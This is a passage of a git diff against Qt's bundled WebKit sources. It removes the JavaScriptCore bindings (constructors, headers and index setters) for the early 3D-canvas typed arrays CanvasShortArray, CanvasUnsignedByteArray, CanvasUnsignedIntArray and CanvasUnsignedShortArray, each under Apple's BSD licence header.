     return getDOMObjectWrapper<JSCanvasRenderingContext2D>(exec, globalObject, static_cast<CanvasRenderingContext2D*>(object));
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSCanvasShortArrayConstructor.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSCanvasShortArrayConstructor.cpp
deleted file mode 100644
index a885b7b..0000000
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSCanvasShortArrayConstructor.cpp
+++ /dev/null
@@ -1,68 +0,0 @@
-/*
- * Copyright (C) 2009 Apple Inc. All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
- * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
- * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
- * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
- * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
- * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
- * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
- * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
- * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
- * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
- */
-
-#include "config.h"
-
-#if ENABLE(3D_CANVAS)
-
-#include "JSCanvasShortArrayConstructor.h"
-
-#include "Document.h"
-#include "CanvasShortArray.h"
-#include "JSCanvasArray.h"
-#include "JSCanvasArrayBuffer.h"
-#include "JSCanvasArrayBufferConstructor.h"
-#include "JSCanvasShortArray.h"
-#include <runtime/Error.h>
-
-namespace WebCore {
-
-using namespace JSC;
-
-const ClassInfo JSCanvasShortArrayConstructor::s_info = { "CanvasShortArrayConstructor", &JSCanvasArray::s_info, 0, 0 };
-
-JSCanvasShortArrayConstructor::JSCanvasShortArrayConstructor(ExecState* exec, JSDOMGlobalObject* globalObject)
-    : DOMConstructorObject(JSCanvasShortArrayConstructor::createStructure(globalObject->objectPrototype()), globalObject)
-{
-    putDirect(exec->propertyNames().prototype, JSCanvasShortArrayPrototype::self(exec, globalObject), None);
-    putDirect(exec->propertyNames().length, jsNumber(exec, 2), ReadOnly|DontDelete|DontEnum);
-}
-
-static JSObject* constructCanvasShortArray(ExecState* exec, JSObject* constructor, const ArgList& args)
-{
-    JSCanvasShortArrayConstructor* jsConstructor = static_cast<JSCanvasShortArrayConstructor*>(constructor);
-    RefPtr<CanvasShortArray> array = static_cast<CanvasShortArray*>(construct<CanvasShortArray, short>(exec, args).get());
-    return asObject(toJS(exec, jsConstructor->globalObject(), array.get()));
-}
-
-JSC::ConstructType JSCanvasShortArrayConstructor::getConstructData(JSC::ConstructData& constructData)
-{
-    constructData.native.function = constructCanvasShortArray;
-    return ConstructTypeHost;
-}
-
-} // namespace WebCore
-
-#endif // ENABLE(3D_CANVAS)
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSCanvasShortArrayConstructor.h b/src/3rdparty/webkit/WebCore/bindings/js/JSCanvasShortArrayConstructor.h
deleted file mode 100644
index df21825..0000000
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSCanvasShortArrayConstructor.h
+++ /dev/null
@@ -1,46 +0,0 @@
-/*
- * Copyright (C) 2009 Apple Inc. All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
- * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
- * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
- * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
- * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
- * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
- * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
- * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
- * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
- * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
- */
-
-#ifndef JSCanvasShortArrayConstructor_h
-#define JSCanvasShortArrayConstructor_h
-
-#include "JSDOMBinding.h"
-#include "JSDocument.h"
-
-namespace WebCore {
-
-    class JSCanvasShortArrayConstructor : public DOMConstructorObject {
-    public:
-        JSCanvasShortArrayConstructor(JSC::ExecState*, JSDOMGlobalObject*);
-        static const JSC::ClassInfo s_info;
-
-    private:
-        virtual JSC::ConstructType getConstructData(JSC::ConstructData&);
-        virtual const JSC::ClassInfo* classInfo() const { return &s_info; }
-    };
-
-}
-
-#endif // JSCanvasShortArrayConstructor_h
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSCanvasShortArrayCustom.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSCanvasShortArrayCustom.cpp
deleted file mode 100644
index 21af0a6..0000000
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSCanvasShortArrayCustom.cpp
+++ /dev/null
@@ -1,50 +0,0 @@
-/*
- * Copyright (C) 2009 Apple Inc. All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
- * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
- * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
- * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
- * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
- * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
- * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
- * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
- * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
- * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
- */
-
-#include "config.h"
-
-#if ENABLE(3D_CANVAS)
-
-#include "JSCanvasShortArray.h"
-
-#include "CanvasShortArray.h"
-
-using namespace JSC;
-
-namespace WebCore {
-
-void JSCanvasShortArray::indexSetter(JSC::ExecState* exec, unsigned index, JSC::JSValue value)
-{
-    impl()->set(index, static_cast<signed short>(value.toInt32(exec)));
-}
-
-JSC::JSValue toJS(JSC::ExecState* exec, JSDOMGlobalObject* globalObject, CanvasShortArray* object)
-{
-    return getDOMObjectWrapper<JSCanvasShortArray>(exec, globalObject, object);
-}
-
-} // namespace WebCore
-
-#endif // ENABLE(3D_CANVAS)
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSCanvasUnsignedByteArrayConstructor.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSCanvasUnsignedByteArrayConstructor.cpp
deleted file mode 100644
index 5d0800e..0000000
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSCanvasUnsignedByteArrayConstructor.cpp
+++ /dev/null
@@ -1,67 +0,0 @@
-/*
- * Copyright (C) 2009 Apple Inc. All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
- * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
- * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
- * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
- * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
- * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
- * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
- * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
- * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
- * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
- */
-
-#include "config.h"
-
-#if ENABLE(3D_CANVAS)
-
-#include "JSCanvasUnsignedByteArrayConstructor.h"
-
-#include "Document.h"
-#include "CanvasUnsignedByteArray.h"
-#include "JSCanvasArrayBuffer.h"
-#include "JSCanvasArrayBufferConstructor.h"
-#include "JSCanvasUnsignedByteArray.h"
-#include <runtime/Error.h>
-
-namespace WebCore {
-
-using namespace JSC;
-
-const ClassInfo JSCanvasUnsignedByteArrayConstructor::s_info = { "CanvasUnsignedByteArrayConstructor", &JSCanvasArray::s_info, 0, 0 };
-
-JSCanvasUnsignedByteArrayConstructor::JSCanvasUnsignedByteArrayConstructor(ExecState* exec, JSDOMGlobalObject* globalObject)
-    : DOMConstructorObject(JSCanvasUnsignedByteArrayConstructor::createStructure(globalObject->objectPrototype()), globalObject)
-{
-    putDirect(exec->propertyNames().prototype, JSCanvasUnsignedByteArrayPrototype::self(exec, globalObject), None);
-    putDirect(exec->propertyNames().length, jsNumber(exec, 2), ReadOnly|DontDelete|DontEnum);
-}
-
-static JSObject* constructCanvasUnsignedByteArray(ExecState* exec, JSObject* constructor, const ArgList& args)
-{
-    JSCanvasUnsignedByteArrayConstructor* jsConstructor = static_cast<JSCanvasUnsignedByteArrayConstructor*>(constructor);
-    RefPtr<CanvasUnsignedByteArray> array = static_cast<CanvasUnsignedByteArray*>(construct<CanvasUnsignedByteArray, unsigned char>(exec, args).get());
-    return asObject(toJS(exec, jsConstructor->globalObject(), array.get()));
-}
-
-JSC::ConstructType JSCanvasUnsignedByteArrayConstructor::getConstructData(JSC::ConstructData& constructData)
-{
-    constructData.native.function = constructCanvasUnsignedByteArray;
-    return ConstructTypeHost;
-}
-
-} // namespace WebCore
-
-#endif // ENABLE(3D_CANVAS)
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSCanvasUnsignedByteArrayConstructor.h b/src/3rdparty/webkit/WebCore/bindings/js/JSCanvasUnsignedByteArrayConstructor.h
deleted file mode 100644
index 9cfb721..0000000
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSCanvasUnsignedByteArrayConstructor.h
+++ /dev/null
@@ -1,46 +0,0 @@
-/*
- * Copyright (C) 2009 Apple Inc. All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
- * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
- * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
- * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
- * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
- * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
- * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
- * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
- * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
- * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
- */
-
-#ifndef JSCanvasUnsignedByteArrayConstructor_h
-#define JSCanvasUnsignedByteArrayConstructor_h
-
-#include "JSDOMBinding.h"
-#include "JSDocument.h"
-
-namespace WebCore {
-
-    class JSCanvasUnsignedByteArrayConstructor : public DOMConstructorObject {
-    public:
-        JSCanvasUnsignedByteArrayConstructor(JSC::ExecState*, JSDOMGlobalObject*);
-        static const JSC::ClassInfo s_info;
-
-    private:
-        virtual JSC::ConstructType getConstructData(JSC::ConstructData&);
-        virtual const JSC::ClassInfo* classInfo() const { return &s_info; }
-    };
-
-}
-
-#endif // JSCanvasUnsignedByteArrayConstructor_h
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSCanvasUnsignedByteArrayCustom.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSCanvasUnsignedByteArrayCustom.cpp
deleted file mode 100644
index f2b0c74..0000000
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSCanvasUnsignedByteArrayCustom.cpp
+++ /dev/null
@@ -1,50 +0,0 @@
-/*
- * Copyright (C) 2009 Apple Inc. All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
- * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
- * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
- * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
- * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
- * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
- * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
- * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
- * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
- * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
- */
-
-#include "config.h"
-
-#if ENABLE(3D_CANVAS)
-
-#include "JSCanvasUnsignedByteArray.h"
-
-#include "CanvasUnsignedByteArray.h"
-
-using namespace JSC;
-
-namespace WebCore {
-
-void JSCanvasUnsignedByteArray::indexSetter(JSC::ExecState* exec, unsigned index, JSC::JSValue value)
-{
-    impl()->set(index, static_cast<unsigned char>(value.toInt32(exec)));
-}
-
-JSC::JSValue toJS(JSC::ExecState* exec, JSDOMGlobalObject* globalObject, CanvasUnsignedByteArray* object)
-{
-    return getDOMObjectWrapper<JSCanvasUnsignedByteArray>(exec, globalObject, object);
-}
-
-} // namespace WebCore
-
-#endif // ENABLE(3D_CANVAS)
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSCanvasUnsignedIntArrayConstructor.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSCanvasUnsignedIntArrayConstructor.cpp
deleted file mode 100644
index 5f145a7..0000000
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSCanvasUnsignedIntArrayConstructor.cpp
+++ /dev/null
@@ -1,67 +0,0 @@
-/*
- * Copyright (C) 2009 Apple Inc. All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
- * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
- * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
- * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
- * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
- * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
- * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
- * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
- * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
- * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
- */
-
-#include "config.h"
-
-#if ENABLE(3D_CANVAS)
-
-#include "JSCanvasUnsignedIntArrayConstructor.h"
-
-#include "Document.h"
-#include "CanvasUnsignedIntArray.h"
-#include "JSCanvasArrayBuffer.h"
-#include "JSCanvasArrayBufferConstructor.h"
-#include "JSCanvasUnsignedIntArray.h"
-#include <runtime/Error.h>
-
-namespace WebCore {
-
-using namespace JSC;
-
-const ClassInfo JSCanvasUnsignedIntArrayConstructor::s_info = { "CanvasUnsignedIntArrayConstructor", &JSCanvasArray::s_info, 0, 0 };
-
-JSCanvasUnsignedIntArrayConstructor::JSCanvasUnsignedIntArrayConstructor(ExecState* exec, JSDOMGlobalObject* globalObject)
-    : DOMConstructorObject(JSCanvasUnsignedIntArrayConstructor::createStructure(globalObject->objectPrototype()), globalObject)
-{
-    putDirect(exec->propertyNames().prototype, JSCanvasUnsignedIntArrayPrototype::self(exec, globalObject), None);
-    putDirect(exec->propertyNames().length, jsNumber(exec, 2), ReadOnly|DontDelete|DontEnum);
-}
-
-static JSObject* constructCanvasUnsignedIntArray(ExecState* exec, JSObject* constructor, const ArgList& args)
-{
-    JSCanvasUnsignedIntArrayConstructor* jsConstructor = static_cast<JSCanvasUnsignedIntArrayConstructor*>(constructor);
-    RefPtr<CanvasUnsignedIntArray> array = static_cast<CanvasUnsignedIntArray*>(construct<CanvasUnsignedIntArray, unsigned int>(exec, args).get());
-    return asObject(toJS(exec, jsConstructor->globalObject(), array.get()));
-}
-
-JSC::ConstructType JSCanvasUnsignedIntArrayConstructor::getConstructData(JSC::ConstructData& constructData)
-{
-    constructData.native.function = constructCanvasUnsignedIntArray;
-    return ConstructTypeHost;
-}
-
-} // namespace WebCore
-
-#endif // ENABLE(3D_CANVAS)
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSCanvasUnsignedIntArrayConstructor.h b/src/3rdparty/webkit/WebCore/bindings/js/JSCanvasUnsignedIntArrayConstructor.h
deleted file mode 100644
index 6016159..0000000
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSCanvasUnsignedIntArrayConstructor.h
+++ /dev/null
@@ -1,46 +0,0 @@
-/*
- * Copyright (C) 2009 Apple Inc. All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
- * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
- * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
- * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
- * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
- * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
- * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
- * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
- * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
- * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
- */
-
-#ifndef JSCanvasUnsignedIntArrayConstructor_h
-#define JSCanvasUnsignedIntArrayConstructor_h
-
-#include "JSDOMBinding.h"
-#include "JSDocument.h"
-
-namespace WebCore {
-
-    class JSCanvasUnsignedIntArrayConstructor : public DOMConstructorObject {
-    public:
-        JSCanvasUnsignedIntArrayConstructor(JSC::ExecState*, JSDOMGlobalObject*);
-        static const JSC::ClassInfo s_info;
-
-    private:
-        virtual JSC::ConstructType getConstructData(JSC::ConstructData&);
-        virtual const JSC::ClassInfo* classInfo() const { return &s_info; }
-    };
-
-}
-
-#endif // JSCanvasUnsignedIntArrayConstructor_h
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSCanvasUnsignedIntArrayCustom.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSCanvasUnsignedIntArrayCustom.cpp
deleted file mode 100644
index 95a80a7..0000000
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSCanvasUnsignedIntArrayCustom.cpp
+++ /dev/null
@@ -1,50 +0,0 @@
-/*
- * Copyright (C) 2009 Apple Inc. All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
- * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
- * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
- * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
- * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
- * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
- * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
- * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
- * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
- * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
- */
-
-#include "config.h"
-
-#if ENABLE(3D_CANVAS)
-
-#include "JSCanvasUnsignedIntArray.h"
-
-#include "CanvasUnsignedIntArray.h"
-
-using namespace JSC;
-
-namespace WebCore {
-
-void JSCanvasUnsignedIntArray::indexSetter(JSC::ExecState* exec, unsigned index, JSC::JSValue value)
-{
-    impl()->set(index, static_cast<unsigned int>(value.toInt32(exec)));
-}
-
-JSC::JSValue toJS(JSC::ExecState* exec, JSDOMGlobalObject* globalObject, CanvasUnsignedIntArray* object)
-{
-    return getDOMObjectWrapper<JSCanvasUnsignedIntArray>(exec, globalObject, object);
-}
-
-} // namespace WebCore
-
-#endif // ENABLE(3D_CANVAS)
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSCanvasUnsignedShortArrayConstructor.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSCanvasUnsignedShortArrayConstructor.cpp
deleted file mode 100644
index 9735693..0000000
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSCanvasUnsignedShortArrayConstructor.cpp
+++ /dev/null
@@ -1,67 +0,0 @@
-/*
- * Copyright (C) 2009 Apple Inc. All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
- * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
- * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
- * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
- * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
- * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
- * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
- * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
- * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
- * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
- */
-
-#include "config.h"
-
-#if ENABLE(3D_CANVAS)
-
-#include "JSCanvasUnsignedShortArrayConstructor.h"
-
-#include "Document.h"
-#include "CanvasUnsignedShortArray.h"
-#include "JSCanvasArrayBuffer.h"
-#include "JSCanvasArrayBufferConstructor.h"
-#include "JSCanvasUnsignedShortArray.h"
-#include <runtime/Error.h>
-
-namespace WebCore {
-
-using namespace JSC;
-
-const ClassInfo JSCanvasUnsignedShortArrayConstructor::s_info = { "CanvasUnsignedShortArrayConstructor", &JSCanvasArray::s_info, 0, 0 };
-
-JSCanvasUnsignedShortArrayConstructor::JSCanvasUnsignedShortArrayConstructor(ExecState* exec, JSDOMGlobalObject* globalObject)
-    : DOMConstructorObject(JSCanvasUnsignedShortArrayConstructor::createStructure(globalObject->objectPrototype()), globalObject)
-{
-    putDirect(exec->propertyNames().prototype, JSCanvasUnsignedShortArrayPrototype::self(exec, globalObject), None);
-    putDirect(exec->propertyNames().length, jsNumber(exec, 2), ReadOnly|DontDelete|DontEnum);
-}
-
-static JSObject* constructCanvasUnsignedShortArray(ExecState* exec, JSObject* constructor, const ArgList& args)
-{
-    JSCanvasUnsignedShortArrayConstructor* jsConstructor = static_cast<JSCanvasUnsignedShortArrayConstructor*>(constructor);
-    RefPtr<CanvasUnsignedShortArray> array = static_cast<CanvasUnsignedShortArray*>(construct<CanvasUnsignedShortArray, unsigned short>(exec, args).get());
-    return asObject(toJS(exec, jsConstructor->globalObject(), array.get()));
-}
-
-JSC::ConstructType JSCanvasUnsignedShortArrayConstructor::getConstructData(JSC::ConstructData& constructData)
-{
-    constructData.native.function = constructCanvasUnsignedShortArray;
-    return ConstructTypeHost;
-}
-
-} // namespace WebCore
-
-#endif // ENABLE(3D_CANVAS)
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSCanvasUnsignedShortArrayConstructor.h b/src/3rdparty/webkit/WebCore/bindings/js/JSCanvasUnsignedShortArrayConstructor.h
deleted file mode 100644
index 23c197f..0000000
